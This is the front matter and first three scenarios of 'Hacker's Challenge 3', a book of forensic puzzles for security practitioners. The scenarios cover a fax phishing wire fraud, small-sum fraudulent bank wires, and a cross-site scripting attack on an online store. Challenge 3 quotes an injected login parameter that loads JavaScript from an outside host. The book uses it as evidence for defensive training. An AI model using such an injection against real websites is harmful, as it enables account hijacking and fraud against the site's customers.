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“The scenario-based testing in Hacker’s Challenge3 will help you identify deficiencies

in your security skills before an attacker does.”

—Erik Pace Birkholz, President and founder of Special Ops Security

“Hacker’s Challenge 3 provides real-world scenarios that you can use to better react
 to attacks that will affect your network. Leave your theoretics behind;
 HC3 is as real as it gets and is a fantastic read.”

—Ben Rothke, CISSP, CISM, Director of Security Technology
 Implementation AXA Technology Services

“There isn’t anything else quite like [Hacker’s Challenge] to instruct and
 educate the reader on modern-day computer security incidents. And perhaps
 even more so because they’re engaging, these books teach investigators and 
defenders how to learn from the misfortune and mistakes of others to protect 
their own networked assets.”

—Mike Schiffman, author of Hacker’s Challenge and Hacker’s Challenge 2
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FOREWORD



Times change and technology progresses. Attackers adapt and attacks evolve. At this point in history, we can wax fondly for the halcyon days when computers were hacked for pride or ego—the good ole’ simpler times when underground hacker wars were electronically waged and the collateral damage was the main website of The New York Times. Or the Solaris machines that were owned and the high profile computer security icons that had their e-mail spools stolen and personal poetry publicly posted. Or the OpenBSD machines that were rumored to be silently owned and the early copies of the most lauded online underground hacker journal that were distributed months ahead of time. Good times. Nowadays, there is no underground hacker scene—not like there use to be (bring back BoW and Hagis!). Nowadays, computers are broken into for financial gain or to push a political agenda. Companies that depend on the Internet for their business to function are held hostage to shadowy blackmailers who threaten with crippling denial-of-service attacks while demanding large payoffs. Individuals are duped by phishing scams and their personal identities are sold on Internet-based black markets. This book is here to tell stories of people and organizations that have fallen victim to the malevolent malcontents of the world.

As I sit on this airplane and ponder Hacker’s Challenge, one thing is clear to me now, that wasn’t when I first started this series in 2001. It is a very important line of books. Yes, they’re fun. Yes, they’re entertaining. And, yes, they’re engaging. But they are also vital tools for the computer security practitioners of the world. There isn’t anything else quite like them available to instruct and educate the reader on modern-day computer security incidents. And perhaps even more so because they’re engaging, these books teach investigators and defenders how to learn from the misfortune and mistakes of others to protect their own networked assets. As always, all of the stories in this book are true or based on actual events. And as usual, the names, dates, and minutia are changed to protect the innocent, the guilty, and the ignorant. These books exist because people are brave enough to tell their stories and let the rest of the world learn from their mistakes and misfortune. Perhaps it’s not too late to suggest a more apt title for THC4: “The Hacker’s Darwin Awards.” Less PC, but possibly more apropos.

—Mike Schiffman
 February 2006 
Somewhere between Austin and Las Vegas
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INTRODUCTION



For the introductions of both Hacker’s Challenge 1 and 2, we queried cnn.com to see what security headlines were making news. It was no surprise that things seemed to be getting worse. Did the trend reverse for Hacker’s Challenge 3? Hardly. This time, when we queried mainstream media and security blogs, we found more reports of security problems than ever. Well, guess what? It’s now 2006, and things haven’t gotten any better:

[image: image]  IRS cautions taxpayers on identity theft scams

[image: image]   Personal information of more than 200,000 stolen

[image: image]   Blackmail virus set to delete files

[image: image]   Trojan steals thousands of bank logins

[image: image]   Bots, malware give rise to crimeware

[image: image]  A “highly critical” flaw in Windows, Internet Explorer, OSX, Firefox

The bottom line is that the world is not a safe place (both physically and electronically). Fear not, gentle reader! Hacker’s Challenge 3: 20 Brand-New Forensic Scenarios & Solutions is here to confront the reader with 20 new real-world vignettes covering contemporary topics such as the following:

[image: image]  Phishing

[image: image]   Rootkits

[image: image]   New wireless attacks

[image: image]   VoIP attacks

[image: image]  Peer-to-peer attacks

For those of you who didn’t read the first two books, you might be wondering just what is Hacker’s Challenge 3? As the Internet grows in size and constituency, so do the number of computer-security incidents. One thing the news doesn’t inform us is how these incidents take place. What led up to the incident? What enabled it? What provoked it? What could have prevented it? How can the damage be mitigated? And most of all, how did it happen? If any of this interests you, this book is for you.

Hacker’s Challenge 3 brings you fact-based, computer-security war stories from the same core team that brought you the previous two books. Taking the same successful formula from the first two books, it pulls you, the reader, inside the story. As each story unfolds, you are presented with information about the incident and are challenged to solve the case.

Why go through all the effort to re-create these events? Information security is never boring. This is not a field for the timid. This is not a discipline for the complacent. Every security practitioner needs to adapt constantly to new attacks and new mitigation strategies.

Not so long ago, no university courses were offered to teach information security. At that time, the majority of the contributing authors of this book found themselves in information security chasing a dream that was exaggerated by the movies, discounted by many in technology, and glamorized by those in the industry. Nevertheless, information security was a distinct career choice—not a chance destination made for us by a high school guidance counselor. Many of the Hacker’s Challenge authors hold degrees and certifications in areas far removed from information security, but each found himself in this field by deliberate preference.

We followed a dream to career satisfaction and may have been encouraged along the way by the compensation. This deliberate career choice has seen the rise of one of the greatest generations of security technologists that we may ever know.

Since those optimistic years of the explosion of information security, it has evolved from a hobby or fun technology position into a vital role in today’s economy. Not all information security work is intellectually stimulating. Many days are filled with tedious investigations with boring log reviews or iterative policy revisions, simply documenting common sense for the untrained. Some are filled with assessment after assessment or penetration test followed by penetration test, only to find the same old vulnerability or programming error.

Now the next generation of university-trained security professionals are starting to dominate the industry. The industry as a whole has taken a significant turn, based primarily on the ever-changing threats and the rapid development of exploits and partly on the new group of professionals. Gone are the days that we can hole up behind our firewall and rely on an intrusion detection system to alert us to an event. Now, security professionals need to consider client-based threats such as phishing, pharming, and key-logging. We need to operate in an environment that requires hours to react to new vulnerabilities, rather than days. We need to be prepared for the much hyped zero-day attacks that we are already starting to see in the wild. We need to decide consciously not to protect something if the cost of protection outweighs the forecasted loss.

The stories contained in this book are intended to remind the veterans why we started in security in the first place. We hope these stories help encourage and train the next generation of professionals in this ever-expanding field, and to remind all of us why we started in security in the first place. This series of books is designed to provide a safe environment to tell the true-to-life information security stories that inspire all of us to keep at it, to keep our skills sharp, to amuse, and to teach.

Unlike other security books’ content, each new edition of the Hacker’s Challenge contains 100 percent new material. If you like these stories, please read the previous editions. The best practices and mitigation strategies are just as relevant today as the day they were written. Enjoy the book!

ORGANIZATION

Hacker’s Challenge is divided into two parts. Part I contains all of the case studies, or Challenges. Included in each Challenge is a detailed description of the case with all of the evidence and forensic information (logfiles, network maps, and so on) necessary for the reader to determine exactly what occurred. For the sake of brevity, in many of the chapters, vast portions of the evidence have been removed, leaving the reader almost exclusively with pertinent information (as opposed to including pages and pages of data to wade through). At the end of each case study, a few specific questions guide the reader toward a correct forensic analysis.

Part II of the book contains all of the Solutions to the Challenges set forth in Part I. In this section, the case study is thoroughly examined, with all of the evidential information completely explained, along with the questions answered. Additionally, sections on mitigation and prevention offer even more information.

PROTECTING THE INNOCENT

To protect the anonymity of the profiled organizations, many details in each story were changed or removed. Care was taken to preserve the integrity of each case study, so no information was lost in the process. The changed information includes some of the following:

[image: image]  Company names

[image: image]   Employee names

[image: image]   IP addresses

[image: image]   Dates

[image: image]   Web defacement details (to change the message and remove profanity or other unsuitable content)

[image: image]  Nonessential story details

VULNERABILITY INFORMATION

Throughout the book, wherever possible, we make reference to external resources that contain additional information about specific profiled vulnerabilities (look for the “Additional Resources” section at the end of some of the Solutions). Also, the organizations MITRE and SecurityFocus both contain slightly different vulnerability databases that are useful general resources.

MITRE (http://cve.mitre.org) is a not-for-profit national technology resource that provides systems engineering, research and development, and information technology support to the government. Common Vulnerabilities and Exposures (CVE) is a list, or dictionary, that provides common names for publicly known information security vulnerabilities and exposures. Using a common name makes it easier for you to share data across separate databases and tools that until now were not easily integrated. This makes CVE the key to information sharing.

SecurityFocus (http://www.securityfocus.com) is the leading provider of security information services for business. The company manages the industry’s largest and most active security community and operates the security industry’s leading portal, which serves more than a quarter of a million unique users per month. SecurityFocus’s vulnerability database is the most comprehensive collection of published computer security vulnerabilities available.

COMPLEXITY TAXONOMY

Three complexity ratings, found in a table at the beginning of each Challenge, describe the overall complexity of each incident. These ratings cover the incident from both the attacker’s and the security practitioner’s sides of the fence.

Attack Complexity

The attack complexity addresses the level of technical ability on the attacker’s part. This class profiles the overall sophistication of the attacker. Often, we’ll see that the more complex and secure an environment, the more complex the attacker had to be to compromise it (of course, this isn’t always the case).

[image: image]  Low/Easy Attacks at this level are generally of scriptkiddie caliber. The attacker did little more than run an attack script, compile some easy-to-find code, or employ a publicly known attack method, and he/she showed little or no innovative behavior. This is the “lowest hanging fruit” type of attack.

[image: image]   Medium/Moderate The attacker used a publicly known attack method, but he/she extended the attack and innovated something beyond the boilerplate. This might involve address forgery or slight modifications of attack behaviors beyond the norm.

[image: image]  High/Hard The attacker was clever and reasonably skilled. The exploit may or may not have been public, and the attacker probably writes his/her own code.

Prevention and Mitigation Complexity

The prevention complexity is the level of complexity that would have been required on the organization’s part to prevent the incident from occurring. The mitigation complexity is the level of complexity required to lessen the impact of the damage of the incident across the organization’s infrastructure. They are both similar, and both can be defined by the same taxonomy:

[image: image]  Low/Easy Preventing or mitigating the problem could be as simple as a single software patch or update, or a rule addition to a firewall. These changes are generally simple and do not involve a great deal of effort to invoke.

[image: image]   Medium/Moderate Remediation could involve a complex software patch or update, possibly in addition to policy changes on a firewall. Reinstallation of an infected machine and/or small infrastructure changes may also be necessary.

[image: image]  High/Hard A complex patch or an update or series of updates to many machines, in addition to major infrastructure changes, are required. This level may also include vulnerabilities that are extremely difficult to prevent completely or mitigate altogether.

CONVENTIONS USED IN THIS BOOK

To get the most out of Hacker’s Challenge 3, it may help you to know how this book is designed. Here’s a quick overview.

In the body of each chapter you will find logfiles, network maps, file listings, command outputs, code, and various other bits of forensic evidence. This information is reprinted as closely as possible to the original for each case, but you should take into account that printing restrictions and confidentiality required some changes.

This book is broken up into two sections. In Part I, Challenges 1 through 20 present the details of real-life incidents. Each Challenge begins with a summary table that lists the industry of the victimized company and complexity ratings for attack, prevention, and mitigation.


	[image: image]	QUESTIONS




At the end of each Challenge, you will find a list of questions that will direct your search for the details of the incident and guide you toward the overall solution. Feel free to make notes in this section or throughout the text as you solve the Challenge.
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In Part II of this book, you’ll find the corresponding Solutions 1 through 20. Each Solution explains the details of how the incident was actually solved, as well as the answers to the questions presented in the first part of the book.
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The Solution contains a “Prevention” section, where you will find suggestions for how to stop an attack before it starts. This information can be useful for companies that find themselves in situations similar to the unfortunate organizations profiled in the book.


	[image: image]	MITIGATION




The Solution also contains a “Mitigation” section, where you will learn what the victimized company did to pick up the pieces after the attack.

Good luck!


PART I

Challenges




	1.
	  To Catch a Phish



	2.
	  Owning the Pharm



	3.
	  Big Bait, Big Phish



	4.
	  Shooting Phish in a Barrel



	5.
	  Too Few Secrets



	6.
	  Upgraded or “Owned?”



	7.
	  Pale Blue Glow



	8.
	  Crossing the Line



	9.
	  The Root of the Problem



	10.
	  Firewall Insights



	11.
	  Peter LemonJello’s “A Series of Unfortunate Events”



	12.
	  Share and Share Alike



	13.
	  The Holy Grail



	14.
	  Open Source



	15.
	  Cup of Chai



	16.
	  Love Plus One



	17.
	  Bullet the Blue Sky



	18.
	  The Insider III



	19.
	  Jumping Someone Else’s Train



	20.
	  The Not-So-Usual Suspects







CHALLENGE 1

To Catch a Phish

by David Pollino
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	Industry: 

	 Financial Services




	Attack Complexity: 

	 Moderate




	Prevention Complexity: 

	 Moderate




	Mitigation Complexity: 

	 High







THURSDAY, OCTOBER 6, 2005, 13:17

“Large nonfat au lait for Enzo!” the barista hollered.

“Excuse me,” said Enzo as he pushed his way to the counter. “Thanks!”

Enzo grabbed his not-so-special cup of coffee and scurried off to his car. Enzo worked for an information security investigation division for a large regional bank, Last Bank of Trust. Typically, his job was filled with the mundane activities of any cubical dweller. An afternoon caffeine boost helped him get through the day.

On his short drive back to the office, his company mobile phone rang. Enzo did not normally keep his company phone with him during business hours. He used it only when he was telecommuting or troubleshooting a problem outside of business hours. It had been a few months since he used the phone, but it had found a somewhat permanent spot in the cup holder, with an umbilical to the cigarette lighter, in his Prius. He was surprised to hear it ring.

He picked up the phone, found the talk button, and proclaimed, “Enzo here.”

“What is your twenty?” It was his boss, Joe.

“About five minutes out—what’s up?”

“Come to my office when you get back,” spouted Joe, before abruptly hanging up. Joe was usually one of those touchy-feely managers who enjoyed small talk. His curt demeanor on the phone let Enzo know that something big was going on. Enzo screeched into the employee lot, looked in the visor mirror, put on his game face, opened the door, and began the nervous walk to the tech building.

The nondescript building carried no marks that would identify it as a bank building. The data center was located here, so for security reasons, building identifying marks were avoided. Though not a big deal now, it was a royal pain the day Enzo interviewed for the job. He drove up and down the street a few times looking for the building, which didn’t even post a street number out front. Before his interview, he went to three buildings trying to find the correct place. (You might think that a company with that kind of mindset would take security very seriously, but that is not always the case.)

Last May, Enzo ordered new business cards and got to add Senior Investigator to the title line—one of those promotions thrown at people when pay raises are frozen, but management still wants to recognize good people. His card could just as well have stated Only Investigator; his primary job was operating the company’s intrusion detection system (IDS) and vulnerability scanning. About once a month, something exciting happened; then his boss, Joe, the chief security officer (CSO), would call on him to help find out what happened. This was one of those times.

Enzo arrived at the office to find a contingent of lawyers waiting in Joe’s office. He joined the team just in time to hear the good news: “We got the money back,” one of the lawyers announced.

“Make sure that you get the account number changed and add a verification question,” Joe ordered—standard operating procedure for an account with fraudulent activity.

Joe explained that a fraudulent wire transfer for $120,000 to Spain just took place. Normally, once a wire goes out, the money is gone forever, but they were lucky this time. The fraudster asked for the money in Euros, so there was a 24-hour delay in the completion of the wire for the currency exchange. The bank discovered the fraudulent transaction and was able to reverse the wire before the exchange took place.

“Enzo will help us get to the bottom of what happened,” Joe announced to the group, as the lawyers left. “Enzo, call this woman in our wire department and find out how this happened.”

Questions raced through Enzo’s head. How could this have happened? Was this an isolated incident or would more wires come? Was an insider involved? Even though the initial excitement was over with the wire reversal, Enzo could not help but feel like this was the start of something big.

Enzo added and verified additional security features on the account, picked up the phone, and called his contact, Francisca, in the wire department. “Hello, this is Enzo, senior investigator for Last Bank of Trust. Do you have a few minutes to discuss the fraudulent wire?”

Enzo learned that the wire department had followed standard procedure. They received the wire request from the Last Bank of Trust website from client Juan Pierre. They attempted to validate the information with the last contact information on record, but the bank was unable to reach Pierre; two days later, a man claiming to be Juan Pierre called the wire service. He had all the verification information, explaining that he was traveling abroad and needed the wire transfer to take care of expenses. He left the number of a Spanish hotel. Because all the verification information checked out, after getting manager approval, the wire was sent.

THURSDAY, OCTOBER 6, 2005, 15:15

“How did we find out this was fraudulent?” Enzo asked. Francisca told him that the real Juan Pierre eventually returned the voicemail messages left by bank personnel on his home machine. He informed the wire department that he did not authorize a wire.

“What information was used to verify the caller?” Enzo asked.

“We normally use name, address, current phone, account number, Social Security number, and date of birth,” Francisca responded. “All the calls are recorded, so you can pull the recording and verify it.”

That is exactly what Enzo did. After pulling the voice recording, he heard a calm caller speaking with a New York accent. He had all the verification information and knew the balances in all Pierre’s accounts. “How could the fraudster get that much information about Pierre?” Enzo wondered.

Next he pulled up Pierre’s contact information and placed a call to the client. Enzo explained the situation and asked Pierre if he knew how his personal information might have been compromised.

“I think that I may have given it to him,” Pierre said sheepishly. “I got an e-mail from Last Bank of Trust last month. The e-mail had a questionnaire attachment that I was supposed to fax back. It asked about account security features and had a bunch of account verification information. My account number, Social Security number, and address was on the questionnaire. I felt a little funny about giving out the information, but I had never heard of identity theft over fax. I faxed the information to a US fax number. Guess that was not the best idea, was it?”

Best idea? How about an incredibly bad idea—but Enzo kept quiet. “Can you forward the e-mail as an attachment?”

“I will try. I use Hotmail. How can I do that?”

“I will e-mail you directions. Thanks for the help.” Enzo hung up the phone.

Enzo always asked that suspicious e-mails be sent as attachments. This kept the headers intact, so that Enzo could determine exactly where the e-mail originated. Enzo sent the instructions and waited for a response.

FRIDAY, OCTOBER 7, 2005, 06:48

The next morning, Enzo checked his inbox and saw that he had received two e-mails from Juan Pierre.

[image: image]

Here is the text from the attached e-mail:
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An attachment contained a PDF of the survey form, shown in Figure C1-1. He also saw another e-mail from “Juan Pierre” in his inbox:
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Figure C1-1.   The Customer Service Survey form
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Enzo was not sure whether he should be mad or amused. This was a different slant on a classic phishing scam. Instead of setting up a malicious website, the phisher used a fax machine. That phisher was challenging him.

Enzo went to the security lab, where the security group maintained a DSL line for investigations. The line belonged to a company that was not directly linked to the Last Bank of Trust. It was originally set up to investigate some insider activity, but it proved very useful so it was never removed. The workstation was sufficiently locked down and did not have a connection to the internal network. Enzo fired up the Firefox web browser and opened the site of the domain that was used in the fraud (Figure C1-2). This was a Windows XP machine that used Firefox and numerous open-source utilities that ran under Cygwin.
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Figure C1-2.   The lastbankoftrust-security.domain home page



Enzo tried clicking the links; they all went to the legitimate lastbankoftrust.com site. He then used wget to pull down the site:
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Next, he needed to examine how the site was showing www.lastbankoftrust-security.domain but serving pages from the real site. He saved the raw text so he could examine it using the browser’s View Source feature. He knew that for forensics purposes, he must record everything that he did in case such evidence was needed in court on the witness stand. Enzo used the command-line utilities, and then copied his history to a file as a quick diary:
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He needed to know who registered the fraudulent domain and where the site was hosted. He looked up the information using publicly published information.
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The domain was registered under the legitimate physical address of Last Bank of Trust. However, the e-mail did not belong to Last Bank of Trust. Now Enzo had the publicly listed information on the domain registrant. He used the information from wget to look up the owner of the IP address of the website.

Then he looked up the operator of the website. Some websites provide this information freely, but Enzo preferred to use the command-line utilities to gain information that was easy to collect and more meaningful to lawyers.

[image: image]

Enzo knew that e-mail was also used in this attack, so he needed the e-mail information. If the attacker had information about other clients, he would need to shut down the e-mail server.
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Enzo believed that he had enough information to report back to Joe and the lawyers. He burned all the text files on the lab machine to a CD, brought the CD to the evidence room, and used the computer in the evidence room to run MD5 against all the files. Then he sent the MD5 digests to the legal department. He returned to Joe’s office with the report.

[image: image]   QUESTIONS

1. How was the domain hijacked to show content to the fraudulent domain?

2. Was an insider involved in the attack?

3. Does this attack likely involve multiple victims?

4. Who would Enzo contact to try to shut down the fraudulent domain?


CHALLENGE 2

Owning the Pharm

by Himanshu Dwivedi, iSEC Partners
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	Industry: 

	  Pharmaceutical




	Attack Complexity: 

	  Low




	Prevention Complexity: 

	  High




	Mitigation Complexity: 

	  Moderate







SATURDAY, JULY 6, 2005, 16:00

“WMOOR Bank and Trust, how may I help you?” asked Neeraja, a telephone customer service representative at We Make Our Own Rules Bank and Trust, a prominent financial institution located on the West Coast of the United States.

“I noticed an ATM charge on my account that I would like to get more information about,” said Rohan, a customer of WMOOR Bank and Trust.

“Sorry, sir. While the use of ATMs saves thousands of dollars for the bank, the bank feels it is necessary to charge our customers for actually saving the bank money,” said Neeraja.

“Okay, but there are a couple issues. First, I was charged for an ATM withdrawal that I didn’t make. Second, I was charged five dollars instead of the usual two dollars for an ATM withdrawal,” said Rohan.

“That is interesting. It should be only two dollars. Let me check on it.” Neeraja checked further into the issue. “Okay, I have the transaction on my computer now. I see that five dollars was removed from your account on June 12.” Here is what she saw:

[image: image]

“However,” she continued, “my system is not showing this as an ATM withdrawal, but a bank wire. Can you please hold while I speak to a supervisor?”

“Sure.”

“Thanks for waiting, sir. I just spoke to my supervisor. We have received more than 5000 complaints similar to yours over the last month. While the words ATM Withdrawal are on the transaction, the transaction is actually an international bank wire to an account called ATM Withdrawal XXXX. Five dollars was wired from your account to another online bank with the name of ATM Withdrawal XXXX. WMOOR is currently investigating this issue. For safety’s sake, please change your online password as soon as possible.”

“Okay. I will change my password right now, but can you replace my money and make sure that this issue is resolved immediately?”

“Sure, as a one-time courtesy, we will give you your own money back.”

WMOOR Bank and Trust was a successful financial organization. From its California location, the bank served customers all over the country. To save costs, WMOOR Bank and Trust decided to invest in online services. Services such as online banking, bank wires, and real-time banking were shifted from in-person activities to online services. Not only would this better serve customers, but it would save thousands of dollars for WMOOR Bank and Trust.

Recently, WMOOR Bank and Trust had encountered many issues with its online website, including phishing attacks. For this reason, WMOOR spent thousands of dollars trying to defend against phishing; however, this left little room to concentrate on other attacks that were just as bad, if not worse. Many WMOOR customers were calling to complain about incorrect ATM transactions. This issue caused many customers of WMOOR Bank and Trust to shift away from the online website and use traditional methods, such as visiting the bank in person and telephoning the bank. In-person communication cost WMOOR Bank and Trust several thousand dollars per week; this prompted the company to try to figure out what was causing the issue.

MONDAY, JULY 4, 2005, 09:00

It was the Fourth of July, so all banks were closed. However, WMOOR management had asked a few people to come into work to help with this important problem. Management at WMOOR Bank and Trust knew the issue could have been caused by several things, but since the most recent wave of identity theft involved phishing attacks, they wanted to investigate.

Management started the long process of investigating whether customers had been sent e-mails, physical mail, or even faxes asking for personal banking information. The security team knew that the process would probably turn up nothing, but many regulations, including California’s SB1386 and Gramm-Leach Bliley, required banks to inform customers of a possible loss or theft of data. This also meant that security teams needed to be able to show that a sizable amount of effort was spent to identify security issues and their causes.

To solve the issue, WMOOR Bank and Trust assigned the investigation to a top security architect, Shreya Twovedas. Shreya suggested that the company review network communication, security settings on infrastructure systems, and application logs both outside the firewall and inside the DMZ. Each server’s logfile and network traces should also be reviewed. Additionally, Shreya suggested that WMOOR ask a few security questions to all customers affected by the issue:

1. Circle the following messages that were presented to you or your browser as you visited WMOOR Bank and Trust’s website:

a. You are about to view pages over a secure connection. Any information you exchange with this site cannot be viewed by anyone else on the web.

b. Information you exchange with this site cannot be viewed or changed by others. However, there is a problem with the site’s security certificate. Do you want to proceed?

2. What is the address that is currently listed on your account? Is that address correct?

3. Were you redirected to any website other than http://www.wmoor.com?

4. If you are using Windows XP with Service Pack 2 installed, did you receive any warning from your browser regarding an ActiveX control?

5. Did you receive any e-mails, physical mail, or faxes asking you to log into a website, which may have looked like WMOOR’s website, and then send information regarding your account?

Based on these questions, WMOOR Bank and Trust received the following information:

[image: image]  Answers from question 1:

60% circled A

0% circled B

40% Do not know

[image: image]  Answers from question 2:

Los Angeles, CA, 46%

Beverly Hills, CA, 12%

Pasadena, CA, 11%

Santa Monica, CA, 17%

Hollywood, CA, 7%

Compton, CA, 3%

South Central, CA, 2%

Irvine, CA, 2%

[image: image]  Answers from question 3:

0% Yes

74% No

26% Do not know

[image: image]  Answers from question 4:

0% Yes

94% No

6% Do not know

[image: image]  Answers from question 5:

12% Yes

72% No

16% Do not know

In addition to these answers, WMOOR Bank and Trust also reviewed the log information from the Internet Information Server (IIS 6.0) web server, as shown in Figures C2-1 and C2-2.
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Figure C2-1. IIS 6.0 application log
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Figure C2-2. IIS 6.0 security log



Based on the answers to the questionnaire, Shreya noticed that only one region of the country seemed to be affected—southern California. She contacted the local Internet service provider (ISP) that owned the affected address range (67.82.92.0/19) and asked for network traces to and from the ISP infrastructure servers, such as Dynamic Host Configuration Protocol (DHCP) servers, Domain Name System (DNS) servers, and e-mail servers. The ISP was running DHCP using Cisco network devices running Internetwork Operating System (IOS) 12.3, a DNS from a Windows 2000 DNS server with Service Pack 2, and e-mail on an Exchange 2003 server with Service Pack 1. The ISP provided the following information to WMOOR, which contained the network communication:
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The last step was to look at the network traces from the e-mail servers:
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After the ISP’s logs and network communication were reviewed, Shreya wanted to dig a bit deeper on the systems themselves. However, just before she started, she was forwarded an e-mail from the web infrastructure team that raised several questions:
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This e-mail made everyone in management believe that a phishing attack had occurred. Management believed that since the attacker was sending e-mails to the company just to toy with them, he or she must have done the same to bank customers. The attacker could have sent e-mails tricking customers into visiting a website that may have looked similar to that of WMOOR Bank and Trust, but that was actually a malicious site controlled by the attacker.

For Shreya, the e-mail had different effects. First, it was obvious to her that the domain was spoofed, since crackerjack was a company’s product. It also showed her that the attacker was serious about what he/she was doing, since the word cracker is also someone who tries to hack into systems for profit or malicious use. Finally, this e-mail led management to believe that the attack was clearly a phishing attack. While that would be the easy solution, it just didn’t seem a correct assumption to Shreya, based on the answers to the customer questionnaire. She believed that the e-mail was written to throw off the company into thinking it was a phishing attack—to distract from the real problem.

Lastly, the attacker’s e-mail did not ask for anything, nor did it demand anything. It was simply intended to tease the company. While this could have been showboating, Shreya didn’t believe that was the issue. Why would an attacker expose himself at the risk of possibly getting caught, just to showboat? True digital attackers don’t showboat; they just count dollars. This was odd for an attacker, who is after money, to take the time to showboat with little to gain.

The company spent the next five days beefing up its phishing defense. It also started an anti-phishing campaign with its customers, informing them of what activities not to perform when online. In the meantime, more and more calls arrived from customers who had five dollars removed from their accounts to the same ATM Withdrawal XXXX account. Things were not getting any better for WMOOR and money was being lost every day. While only five dollars was charged to the customer, this problem cost the bank $25,000 the first time around, and almost $50,000 more for the second wave of compromises. While the attacker was taking small chunks of money from each targeted account, he had compromised so many accounts that he was accruing a small fortune (all of which the bank had to pay out). The attack method is nothing new to criminals. It has been performed many times, as highlighted in motion pictures such as Superman 3 and Office Space. The key aspect of the attack is to take small amounts of money from a variety of accounts, helping the criminals to fly under the radar of unsuspecting individuals. Additionally, although $75,000 was not a lot of money for the bank (a drop in the bucket, actually), the public relations damage caused by money being lost was far greater: If the integrity of the bank’s system was ruined, it would motivate customers to stop using online activities or even remove their money from the bank, both of which would have huge effects on the bank’s financial future. When customers lose faith in the bank system, they may not wish to use online services, or worse, they may remove their money from the bank. The loss of consumer confidence in the banking system has an exponential value to banks, as highlighted in the motion picture It’s a Beautiful Life. Banks are concerned with data protection and security of their systems, but they also have to maintain a high level of consumer confidence in their banking infrastructure.

Shreya wanted to see where the e-mail came from, hoping this would lead her to the source if the attacker was sloppy. She opened the header to the e-mail and saw the following:
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Shreya was upset. She knew the attacker was sophisticated enough to relay the message off of some e-mail server that had relay open on it, but she didn’t expect it to be the company’s own e-mail server! The thirteenth line of the header showed that the attacker sent the message from relay.wmoor.com. The attacker used the company’s own misconfigured server to send an e-mail to the company, which was pretty embarrassing!

While the company did perform external penetration tests, WMOOR often ignored examining the server configuration. Shreya knew this and decided to look a bit deeper at the configuration of each server involved in the situation, including the web servers, DNS servers, and mail servers. Then, suddenly, another e-mail arrived from the attacker:
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[image: image]   QUESTIONS

1. Which attacks were eliminated or still possible from the questions answered by WMOOR customers?

2. How was phishing involved in this case?

3. What did the ISP’s network traces show?

4. What did the e-mail communication show?

5. Based on the evidence shown, what is the source IP of the attacker?

6. What network or server flaw enabled the attack?


CHALLENGE 3

Big Bait, Big Phish

by Bill Pennington, WhiteHat Security
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	Industry: 

	  E-commerce




	Attack Complexity: 

	  Medium




	Prevention Complexity: 

	  Hard




	Mitigation Complexity: 

	  Hard







MONDAY, DECEMBER 19, 2005, 09:17

Siamak was careful about unwarranted e-mails he received, even simple advertising schemes like the one shown in Figure C3-1, which was sitting in his inbox.

Siamak had his identity stolen once by someone who grabbed his mail while he was mountain climbing in Tibet. The person used that information to open up a few credit card accounts and create havoc for Siamak’s records. Eventually Siamak cleared everything up with the credit companies, but after the fiasco he was paranoid about his personal information. Siamak wasn’t likely to be conned by hightech means, however, because he worked in technology himself and knew what types of risks were out there. He used a Mac, browsed the web using Firefox, and didn’t install untrustworthy software.
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Figure C3-1. Siamak’s e-mail



Due to his competence and paranoia, Siamak wanted to make sure this e-mail was what it claimed to be. First he verified the e-mail headers as having come from ClimberCentral:
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The e-mail was actually from the ClimberCentral domain. Siamak clicked the Log In link and watched his browser’s URL address bar (Figure C3-2).
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Figure C3-2.   URL bar of the ClimberCentral website



Not every e-mail he received was an attempt to ruin his life. Content with his investigations, Siamak proceeded to log in and look around the site.

MONDAY, DECEMBER 19, 2005, 09.50

Rob stumbled in to work late. It was the holiday season and he’d forgotten to put in for vacation. As a result, he was stuck here in rainy Silicon Valley watching over ClimberCentral’s operations while the rest of the ClimberCentral crew was enjoying Hawaii. At least Rob could party this week, with no one at the office noticing that he showed up to work with bloodshot eyes and smelling like stale booze.

“Good morning!” It was Llana; Rob tried to shrug off her attention and slip past her into his cube. Thank goodness for cubes.

“Hey, maybe you could find out what’s going on with the gobi web server. Customer order e-mails aren’t being sent out, and the thing’s chugging under a big load,” she added.

“Yeah, on it.” Duh, Rob thought, as he plopped down and opened up a shell. Sure enough, so many e-mail messages were lined up in the queue that the whole server had ground to a halt. He ran a quick command to see what was going on:
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The mass of marketing e-mails was choking the gobi server with an unexpected load. Rob assumed one of the developers was responsible, so he e-mailed the development team reminding them not to send marketing e-mails from the gobi web server. After he deleted the pending marketing e-mails and got the server up and running again, he relaxed by firing up the Slashdot website and downing some Tylenol.

MONDAY, DECEMBER 19, 2005, 13:11

Llana averted her eyes when she entered Rob’s cube to find him browsing suicidegirls.com.

“Hey, customer service is worried about some issue with tons of disputed false orders, and since Lex isn’t in I suggested they direct the issue to you.”

“Yeah,” snorted Rob, “but have you heard of e-mail?”

Llana frowned. “I sent you the details, but this is kind of urgent so I wanted to make sure and see if you needed some help.”

Rob mumbled something and didn’t pay attention as Llana slunk away. Skimming the e-mail, he noticed a suspicious pattern with the “false” orders: they were all being delivered to the same P.O. box. He went to the database to find out more:
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This didn’t look good. Orders that were supposedly placed by different users were all coming from the same IP address and being sent to the same P.O. box in Alaska. It seemed clear that an attacker had either compromised the individual user accounts or somehow broken into the ClimberCentral system. Rob drew up an action plan:

1. Cancel all orders to P.O. Box 37452 in Bloomingdale, Alaska.

2. Notify public relations that the company’s servers had been compromised, and have them contact affected customers.

3. Have Llana take down the website and put up an “under construction” page until they resolved the security hole.

4. Block the 253.102.200.3 IP address from accessing the network.

5. Begin the investigation process, probably by making backups and contacting Lex.

MONDAY, DECEMBER 19, 2005, 14:35

Llana had enrolled a guy from marketing who knew a bit about Linux to help her make backups. Rob was still trying to reach Lex in Hawaii, to see if he knew how they should proceed.

The IP address 253.102.200.3 was the only information Rob had to act on. After getting bored of calling Lex’s hotel to find out whether he’d come back from his hike yet, Rob decided to investigate ClimberCentral’s access logs and see if he could find other useful information:
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The logs contained a litany of attacks against the ClimberCentral website— for instance:
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An external JavaScript file being referenced seemed especially strange to Rob, so he tested to see if he could access it himself:
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Rob understood the JavaScript but was confused by the context. The attacker was manipulating the link parameter of the login.pl application. Rob needed to see the server side script that generated the login.pl page to determine the purpose.
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The link parameter usually contained a simple URL of the partner site. In this case, the strange code"></a><script src="http://254.153.200.3/d.js"> <href=" was referenced instead and placed into the document. This attack meant that someone could play with the login form in a way that wasn’t intended. Still, this didn’t account for the attacker being able to force other users into placing orders. Rob e-mailed the results of his investigations to Lex and then took a nap until it was time to go home for the day.

[image: image]   QUESTIONS

1. What is the significance of the attacker’s JavaScript file?

2. What was an early clue that Rob missed that might have alerted him to something being amiss?

3. What are some different ways the attacker could have delivered the payload?

4. Who is this attack ultimately targeted against?

